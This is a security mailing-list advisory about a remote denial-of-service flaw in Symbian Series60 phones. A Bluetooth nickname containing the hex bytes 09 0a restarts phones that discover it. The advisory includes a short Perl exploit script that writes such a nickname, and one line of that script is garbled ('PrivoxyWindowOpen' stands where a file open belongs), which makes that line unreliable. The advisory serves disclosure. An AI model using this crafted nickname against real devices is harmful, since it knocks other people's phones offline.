[NEWS] Symbian Bluetooth Nickname Remote DoS

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Symbian Bluetooth Nickname Remote DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.symbian.com/> Symbian OS is "an operating system for mobile 
devices". Mobile devices running the Symbian OS and that were enabled to 
support Bluetooth can be remotely restarted by sending them a crafted 
nickname.

DETAILS

Vulnerable Systems:
 *  Symbian Series60

By changing the user's nickname to include " 09 0a " in hex, a user can 
cause every one who search for available bluetooth devices and find the 
nickname for the to remotely restar their mobile device. To exploit, the 
user will need to set his nickname to something in the format of: 
[something][09 0a in hex][just add anything here]. Characters before 09 0a 
are required , since the nokia phones will delete the 09 0a automatically 
as it recognised as whitespaces.

Exploit Code:
#!/usr/bin/perl -w

my $btnick;
my $bth;
my  $bts;
my $file;
$bth = "        .";
print "\n*******************************************************\n";
print "**    NOKIA REMOTE RESTART IN BLUETOOTH NICKNAME     **\n";
print "**      BY QNIX | Q-nix[@]bsdmail[dot]org            **\n";
print "*******************************************************\n";
print " \n write your nickname : ";
$btnick = <STDIN>;
chomp($btnick);
print " \n OUTPUT : ";
$file = <STDIN>;
chomp($file);
PrivoxyWindowOpen(BLUEN, ">>$file") || die "Could not create file $!\n";
$bts = "$btnick$bth";
print BLUEN ("$bts");
close(BLUEN);

print "\n Done !! , send the output to your nokia and copy the file to the 
bluetooth nickname space . \n\n";


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Qnix.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.